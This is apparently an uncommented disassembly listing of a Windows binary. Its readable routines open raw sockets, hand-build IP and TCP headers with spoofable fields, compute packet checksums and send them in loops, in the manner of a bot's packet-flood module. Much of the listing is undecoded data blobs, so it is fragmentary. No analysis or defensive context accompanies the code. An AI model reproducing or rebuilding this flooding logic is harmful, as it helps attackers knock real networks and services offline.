		add	esi, 4
		dec	ebx
		jnz	short loc_413D69
		dec	[ebp+arg_4]
		jnz	short loc_413D0C
		pop	edi
		pop	esi
		pop	ebx


loc_413D7F:				; CODE XREF: sub_413CC1+3Ej
		xor	eax, eax
		leave
		retn
sub_413CC1	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AA54
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41BE29
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BE29
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_413CC1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_413DB9
		push	1
		pop	eax


loc_413DB9:				; CODE XREF: .nsp0:00413DB4j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413DC8	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: .nsp0:00407EA0o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h
		dd 858D5000h, 0FFFFFBECh, 43E00068h, 1BE85000h,	33000081h
		dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh,	50F475FFh
		dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 5B90E8FFh, 0C483FFFFh
		dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF74D1E8h
		dd 565959FFh, 72C19FE8h, 5E5F0700h
; ---------------------------------------------------------------------------


loc_413E64:				; CODE XREF: .nsp0:00414152p
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	dword_4D1160	; WSAStartup
		test	eax, eax
		jz	short loc_413EA4
		xor	eax, eax
		jmp	loc_414112
; ---------------------------------------------------------------------------


loc_413EA4:				; CODE XREF: .nsp0:00413E9Bj
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4D1294	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-0Ch], eax
		jz	loc_41410A
		push	esi
		lea	ecx, [ebp-38h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-38h], edi
		call	dword_4D11D0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_414100
		push	10h
		lea	eax, [ebp-50h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-50h], 2
		push	dword ptr [ebp+10h]
		call	dword_4D11F0	; ntohs
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-4Eh], ax
		mov	[ebp-4Ch], esi
		mov	byte ptr [ebp-20h], 45h
		call	dword_4D11F0	; ntohs
		push	dword ptr [ebp+10h]
		mov	[ebp-1Eh], ax
		mov	[ebp-1Ch], di
		mov	[ebp-1Ah], bx
		mov	byte ptr [ebp-18h], 80h
		mov	byte ptr [ebp-17h], 6
		mov	[ebp-16h], bx
		mov	[ebp-10h], esi
		call	dword_4D11F0	; ntohs
		push	4000h
		mov	[ebp-32h], ax
		mov	[ebp-2Ch], ebx
		mov	byte ptr [ebp-28h], 50h
		mov	byte ptr [ebp-27h], 2
		call	dword_4D11F0	; ntohs
		mov	[ebp-26h], ax
		lea	eax, [ebp-40h]
		push	eax
		mov	[ebp-22h], bx
		mov	[ebp+10h], ebx
		call	near ptr 0B40000h
		pop	edx
		lea	eax, [ebp-8]
		push	eax
		call	near ptr 0B40000h
; ---------------------------------------------------------------------------
		dw 0FFDFh
		dd 458BC475h, 75FF9914h, 0E85052C0h, 99CCh, 8BF84503h
		dd 0FC7513F2h, 66A84589h, 0E8DC5D89h, 7FFAh, 3E9B999h
		dd 0F9F70000h, 3E8C281h, 0FF520000h, 4D11F015h,	45896600h
		dd 7FDCE8CCh, 0F88B0000h, 0E810E7C1h, 7FD2h, 0FF57F80Bh
		dd 4D11F015h, 0C0B70F00h, 8BD04589h, 45FF0C45h,	15FF500Ch
		dd 4D11ECh, 4589146Ah, 0F0458BECh, 4589575Fh, 905D888Ch
		dd 69145C6h, 11F015FFh,	8966004Dh, 458B9245h, 884589ECh
		dd 6A88458Dh, 858D5020h, 0FFFFFF4Ch, 899EE850h,	458D0000h
		dd 8D5057CCh, 0FFFF6C85h, 8DE850FFh, 8D000089h,	0FFFF4C85h
		dd 50346AFFh, 0FF6B92E8h, 458966FFh, 0E0458DDCh, 858D5057h
		dd 0FFFFFF4Ch, 896AE850h, 458D0000h, 8D5057CCh,	0FFFF6085h
		dd 59E850FFh, 6A000089h, 74858D04h, 53FFFFFFh, 7BDAE850h
		dd 0C4830000h, 4C858D44h, 6AFFFFFFh, 4CE85028h,	66FFFF6Bh
		dd 8DEA4589h, 5057E045h, 0FF4C858Dh, 0E850FFFFh, 8924h
		dd 8D14C483h, 106AB045h, 858D5350h, 0FFFFFF4Ch,	0FF50286Ah
		dd 15FFF475h, 4D1254h, 74FFF883h, 10450127h, 50F8458Dh
		dd 72BF47E8h, 458B2400h, 7FC63BFCh, 0C88C0F3Ch,	8BFFFFFEh
		dd 453BF845h, 0E92E73A8h, 0FFFFFEBBh, 118415FFh, 8D50004Dh
		dd 0FFFF0C85h, 0E02868FFh, 0E8500043h, 7E4Ah, 0FF0C858Dh
		dd 0E850FFFFh, 16AEh, 0EB10C483h, 105D8B03h
; ---------------------------------------------------------------------------


loc_414100:				; CODE XREF: .nsp0:00413EDCj
		push	dword ptr [ebp-0Ch]
		call	dword_4D1288	; closesocket
		pop	esi


loc_41410A:				; CODE XREF: .nsp0:00413EBFj
		call	dword_4D1148	; WSACleanup
		mov	eax, ebx


loc_414112:				; CODE XREF: .nsp0:00413E9Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AA54
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BE29
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BE29
		mov	edi, eax
		call	sub_41BF92
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_413E64
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414161
		push	1
		pop	eax


loc_414161:				; CODE XREF: .nsp0:0041415Cj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414170	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: .nsp0:00408853o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7C88E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4D1230h, 5BE850h
		dd 8D500000h, 0FFFC6C85h, 0E04868FFh, 0E8500043h, 7D6Eh
		dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh
		dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0E3E8FFFFh, 83FFFF57h
		dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h,	7124E8F0h
		dd 5959FFFFh, 0BDF2E856h, 5F980072h, 0EC8B555Eh, 98EC81h
		dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh,	0A8658304h
		dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh,	0FFFF7C8Dh
		dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h
		dd 0Ch,	119445C7h, 0C7000000h, 169845h,	45C70000h, 299Ch
		dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h
		dd 0BC45C7h, 89000020h,	5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h
		dd 4D89D045h, 0BFABD8h,	57000001h, 93B4E8h, 45895900h
		dd 0FF5057FCh, 4D120415h, 0FC75FF00h, 127415FFh, 408B004Dh
		dd 36A530Ch, 8B026Ah, 4589008Bh, 7015FFF4h, 8D004D12h
		dd 5156D84Dh, 6A026Ah, 0FC458950h, 11D015FFh, 0BE004Dh
		dd 56000002h, 78D2E8h, 0A83D8B00h, 59004270h, 0FFF84589h
		dd 0F04589D7h, 6808458Bh, 29Ah,	0FF6C8589h, 0C766FFFFh
		dd 0FFFF6885h, 0FF0002FFh, 4D11F015h, 85896600h, 0FFFFFF6Ah
		dd 452BD7FFh, 0B9D233F0h, 3E8h,	453BF1F7h, 0CF870F0Ch
		dd 0E8000000h, 7C4Ah, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h
		dd 18E2C100h, 5589D00Bh, 7C30E8F4h, 8B990000h, 89F9F7CBh
		dd 23E8AC55h, 9900007Ch, 1FA4B9h, 0DC45C600h, 0C6F9F745h
		dd 8904DD45h, 0BE8D455h, 6600007Ch, 0E8E04589h,	7C02h
		dd 59990A6Ah, 8B66F9F7h, 50B09544h, 11F015FFh, 6656004Dh
		dd 0FFE24589h, 4D11F015h, 45896600h, 0E45D88DEh, 7BD9E8h
		dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h,	8BE54588h
		dd 4589F445h, 8458BE8h,	8DEC4589h, 0E850DC45h, 0FFFF67E3h
		dd 0E6458966h, 6ADC458Dh, 75FF5014h, 85BEE8F8h,	0C4830000h
		dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh
		dd 4D125415h, 0FF1AE900h, 75FFFFFFh, 7547E8F8h,	0FF590000h
		dd 15FFFC75h, 4D1288h, 5F58016Ah, 0C3C95B5Eh
dword_41442C	dd 81EC8B55h, 440ECh, 8458B00h,	6A575653h, 59F08B68h, 0FDC0BD8Dh
					; DATA XREF: .nsp0:00406E36o
		dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh
		dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0A83D8BAAh
		dd 0FF004270h, 11E850D7h, 5900007Bh, 0FF68h, 6A036A00h
		dd 7015FF02h, 83004D12h, 4589FFF8h, 0FF6675FCh,	4D118415h
		dd 858D5000h, 0FFFFFBC0h, 43E16468h, 8FE85000h,	8300007Ah
		dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5500E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF6E3Eh, 0E8535959h, 72BB0Ch,	0CC4D8D24h
		dd 6A51046Ah, 89505302h, 15FFCC75h, 4D11D0h, 75FFF883h
		dd 8415FF66h, 50004D11h, 0FBC0858Dh, 2C68FFFFh,	500043E1h
		dd 7A11E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h
		dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h
		dd 0E8FFFFFDh, 0FFFF5482h, 8D14C483h, 0FFFBC085h, 47E850FFh
		dd 0FF000012h, 0FFFF44B5h, 6DC0E8FFh, 5959FFFFh, 0BA8EE853h
		dd 8DFE0072h, 0FFFDC485h, 15FF50FFh, 4D1230h, 75FFF883h
		dd 0C0858D5Eh, 68FFFFFBh, 43E10Ch, 79A0E850h, 9D390000h
		dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5412h
		dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h
		dd 6D50E8FFh, 5959FFFFh, 0BA1EE853h, 6A410072h,	0BC458D10h
		dd 51E85053h, 83000076h, 0C7660CC4h, 2BC45h, 0F015FF53h
		dd 66004D11h, 8DBE4589h, 0FFFDC485h, 15FF50FFh,	4D1230h
		dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h
		dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h
		dd 0FF45D445h, 4D11F015h, 509D3900h, 66FFFFFFh,	66D64589h
		dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h
		dd 792CE82Dh, 0F08B0000h, 0E808E6C1h, 7922h, 0E6C1F003h
		dd 7918E808h, 0F0030000h, 0E808E6C1h, 790Eh, 16AF003h
		dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF64D1E8h, 0FF5059FFh
		dd 4D123015h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh
		dd 0DBE81075h, 99000078h, 401B9h, 52F9F700h, 0B5FF06EBh
		dd 0FFFFFF48h, 11F015FFh, 8966004Dh, 0BBE8EA45h, 99000078h
		dd 401B9h, 52F9F700h, 11F015FFh, 7868004Dh, 66123456h
		dd 0FFE84589h, 4D11EC15h, 0EC458900h, 0FE44858Dh, 868FFFFh
		dd 500043E1h, 78A7E8h, 0C0855900h, 89097459h, 45C6F05Dh
		dd 5CEB02F5h, 0FE44858Dh, 1068FFFFh, 50004318h,	7887E8h
		dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h,	0FE44858Dh
		dd 1868FFFFh, 500042D6h, 7867E8h, 0C0855900h, 0E8257459h
		dd 783Eh, 5999036Ah, 5589F9F7h,	7830E8F0h, 26A0000h, 0F9F75999h
		dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h
		dd 0F015FF50h, 66004D11h, 8BF64589h, 4589E045h,	0E4458B9Ch
		dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h,	6A545C6h
		dd 11F015FFh, 8966004Dh, 458DA645h, 50206A9Ch, 0FF60858Dh
		dd 0E850FFFFh, 81F0h, 6AE8458Dh, 458D5014h, 0E1E85080h
		dd 8D000081h, 0FFFF6085h, 50346AFFh, 0FF63E6E8h, 458966FFh
		dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 0BDE850FFh, 8D000081h
		dd 146AE845h, 74858D50h, 50FFFFFFh, 81ABE8h, 8D046A00h
		dd 50538845h, 742FE8h, 44C48300h, 0FF60858Dh, 286AFFFFh
		dd 63A1E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh
		dd 0E850FFFFh, 8178h, 8D14C483h, 106ABC45h, 858D5350h
		dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4D1254h, 74FFF883h
		dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 128815FFh,	15FF004Dh
		dd 4D1184h, 0C4858D50h,	0FFFFFFFDh, 68500875h, 43E0B8h
		dd 0FBC0858Dh, 68FFFFh,	50000002h, 779FE8h, 18C48300h
		dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5116h
		dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h
		dd 6A54E8FFh, 5959FFFFh, 0B722E853h, 0FF900072h, 15FFFC75h
		dd 4D1288h, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah
		dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 43E068h, 7614E850h
		dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h,	0FFFFFBC0h
		dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h
		dd 0FF5085E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah
		dd 0FF44B5FFh, 0C3E8FFFFh, 59FFFF69h, 91E85359h, 0F40072B6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_41499C
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_41498E:				; CODE XREF: .nsp0:00414996j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_41498E
		pop	edi
		cmp	eax, 1


loc_41499C:				; CODE XREF: .nsp0:00414982j
		jnz	short loc_4149A9
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4149A9:				; CODE XREF: .nsp0:loc_41499Cj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
word_4149C2	dw 8B55h		; DATA XREF: .nsp0:0040875Bo
		dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
		dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
		dd 36E850FFh, 59000074h, 70858D50h, 50FFFFFEh, 123015FFh
		dd 8D50004Dh, 0FFFE6CB5h, 94EC81FFh, 6A000001h,	0FC8B5965h
		dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 9868FFFFh,	500043E1h
		dd 7509E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7BE8FFFFh
		dd 83FFFF4Fh, 858D14C4h, 0FFFFFC6Ch, 0D40E850h,	75FF0000h
		dd 68BCE8F0h, 5959FFFFh, 0B58AE856h, 55090072h,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 127015FFh, 4589004Dh,	50D6FFF8h
		dd 74DBE8h, 78BF5900h, 57000005h, 16A096Ah, 4460E8h, 50595900h
		dd 50D8458Dh, 7177E8h, 0CC48300h, 5A0BEh, 0A815FF00h, 2B004270h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h
		dd 4D49A81Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h
		dd 7138h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4D1194h, 0FF68h, 0E8016A00h,	43F5h, 45B60F50h, 0B60F509Eh
		dd 0F509D45h, 509C45B6h, 0FF34858Dh, 0C068FFFFh, 50004341h
		dd 73EDE8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4D438868h
		dd 0F1E85000h, 59000079h, 34858D59h, 50FFFFFFh,	123015FFh
		dd 4589004Dh, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h
		dd 11F015FFh, 8966004Dh, 3E8AE45h, 66000074h, 8BB04589h
		dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h
		dd 0B545C640h, 5D896606h, 0BC4589B6h, 73D9E8h, 45896600h
		dd 73D0E8C0h, 89660000h, 0C7E8C245h, 89000073h,	0BFE8C445h
		dd 89000073h, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h
		dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah,	8D8C4589h
		dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h
		dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h
		dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh,	8C68BC45h
		dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h
		dd 15FF06FFh, 427208h, 5E858966h, 8DFFFFFFh, 0FFFF6085h
		dd 50146AFFh, 50C0458Dh, 7D47E8h, 74858D00h, 57FFFFFFh
		dd 0D8458D50h, 7D36E850h, 858D0000h, 0FFFFFF54h, 59868h
		dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h,	5088458Dh
		dd 0A8458D53h, 75FF5056h, 5415FFF8h, 0FF004D12h, 22E9FC45h
		dd 0FFFFFFFEh, 15FFF875h, 4D1288h, 5FFC458Bh, 0C3C95B5Eh
dword_414CC0	dd 81EC8B55h, 414ECh, 8558B00h,	85B856h, 8B570000h, 8DF28BC8h
					; DATA XREF: .nsp0:00406713o
		dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h
		dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h
		dd 68FFFFFBh, 43E1CCh, 7224E850h, 0C4810000h, 220h, 0FBEC858Dh
		dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF65FEh, 6A5959h
		dd 72B2CBE8h, 8B55A800h, 54EC81ECh, 53000002h, 0FFBB56h
		dd 53570000h, 26A036Ah,	127015FFh, 0F883004Dh, 0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 43E3BC68h, 0CBE85000h, 59000071h
		dd 0E959FF33h, 2C6h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4D11D015h, 0FFF88300h,	15FF0E75h
		dd 4D1184h, 0E36C6850h,	1BEB0043h, 500C458Dh, 123015FFh
		dd 0F883004Dh, 0FF2075FFh, 4D118415h, 28685000h, 8D0043E3h
		dd 0FFFDAC85h, 6FE850FFh, 83000071h, 6BE90CC4h,	57000002h
		dd 0DC45C766h, 15FF0002h, 4D11F0h, 0DE458966h, 500C458Dh
		dd 723015FFh, 358B0042h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0FC68FFFFh, 500043E2h, 7129E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF4B9DE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 0D2E85000h, 3B00006Fh, 870F59F0h, 191h, 41CBEh
		dd 0BB05EB00h, 0FFh, 49A83D39h,	5075004Dh, 8958106Ah, 8D50F045h
		dd 5057CC45h, 6DBBE8h, 0CC48300h, 50F0458Dh, 50CC458Dh
		dd 0FF0875FFh, 4D119415h, 16A5300h, 407CE8h, 0B60F5000h
		dd 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h, 4341C068h
		dd 77E85000h, 83000070h, 10EB20C4h, 68AC458Dh, 4D4388h
		dd 767EE850h, 59590000h, 8805C656h, 45004D45h, 11F015FFh
		dd 0A366004Dh, 4D458Ah,	50AC458Dh, 8C05C766h, 1004D45h
		dd 3D896600h, 4D458Eh, 459005C6h, 0C680004Dh, 4D459105h
		dd 89661100h, 4D45923Dh, 3015FF00h, 0A3004D12h,	4D4594h
		dd 0A3E0458Bh, 4D4598h,	8C858Dh, 66500000h, 45A23D89h
		dd 0F2E8004Dh, 8500006Eh, 107559C0h, 7051E8h, 1B99900h
		dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6ED1h, 15FF5059h
		dd 4D11F0h, 459EA366h, 27E8004Dh, 99000070h, 401B9h, 4086800h
		dd 0F9F70000h, 9C158966h, 0FF004D45h, 4D11F015h, 4006800h
		dd 0A3660000h, 4D45A0h,	6FFDE8h, 0FBF79900h, 45A46852h
		dd 9DE8004Dh, 8300006Ch, 458D0CC4h, 50106ADCh, 88685657h
		dd 0FF004D45h, 15FFF475h, 4D1254h, 0FFFF883h, 0A484h, 0FC45FF00h
		dd 70A815FFh, 452B0042h, 0B9D233F8h, 3E8h, 0D88BF1F7h
		dd 10C858Dh, 0E8500000h, 6E41h,	0F59D83Bh, 0FFFE7686h
		dd 0F475FFFFh, 128815FFh, 758B004Dh, 0C858DFCh,	50000001h
		dd 41CF669h, 1AE80000h,	8B00006Eh, 0C1C68BC8h, 0D2330AE8h
		dd 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch, 0FFFFFDACh
		dd 43E29868h, 0FFE85000h, 8300006Eh, 0BD391CC4h, 214h
		dd 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h,	18C858Dh
		dd 0FF500000h, 73E80875h, 83FFFF49h, 5E5F14C4h,	0C95BC033h
		dd 0FC75FFC3h, 8415FF56h, 50004D11h, 500C458Dh,	0FDAC858Dh
		dd 0C68FFFFh, 500043E2h, 6EADE8h, 18C48300h
		db 0EBh, 0ACh
word_41508E	dw 8B55h		; DATA XREF: .nsp0:00407DB8o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6D68E8h
		dd 8D505900h, 0FFFE7085h, 5AE850FFh, 5900006Dh,	0F0858D50h
		dd 50FFFFFDh, 123015FFh, 0E850004Dh, 144h, 0EC858D50h
		dd 68FFFFFBh, 43E3E8h, 6E40E850h, 0F6330000h, 3918C483h
		dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h
		dd 0B5FF50FFh, 0FFFFFDECh, 0FF48B5E8h, 14C483FFh, 0FBEC858Dh
		dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF61F6h, 0E8565959h
		dd 72AEC4h
; ---------------------------------------------------------------------------
		scasb
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41513F	proc near		; CODE XREF: .nsp0:004153BCp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_415168
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42720C	; connect
		jmp	loc_415224
; ---------------------------------------------------------------------------


loc_415168:				; CODE XREF: sub_41513F+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4271F4	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4D1198	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4D11D8	; select
		test	eax, eax
		jnz	short loc_4151CC
		or	eax, 0FFFFFFFFh
		jmp	short loc_415224
; ---------------------------------------------------------------------------


loc_4151CC:				; CODE XREF: sub_41513F+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_4151D7


loc_4151D3:				; CODE XREF: sub_41513F+B8j
					; sub_41513F+DCj
		mov	eax, edi
		jmp	short loc_415224
; ---------------------------------------------------------------------------


loc_4151D7:				; CODE XREF: sub_41513F+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4151F9
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4151D3


loc_4151F9:				; CODE XREF: sub_41513F+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4271E0	; getsockopt
		cmp	eax, edi
		jz	short loc_4151D3
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_415224:				; CODE XREF: sub_41513F+24j
					; sub_41513F+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_41513F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp-14h], eax
		call	dword_427204	; WSASocketA
		lea	ecx, [ebp-14h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4D4A18, eax
		call	dword_4D11D0	; setsockopt
		mov	esi, dword_4270A8
		call	esi ; dword_4270A8
		push	eax
		call	sub_41BF88
		pop	ecx
		xor	eax, eax
		push	19h
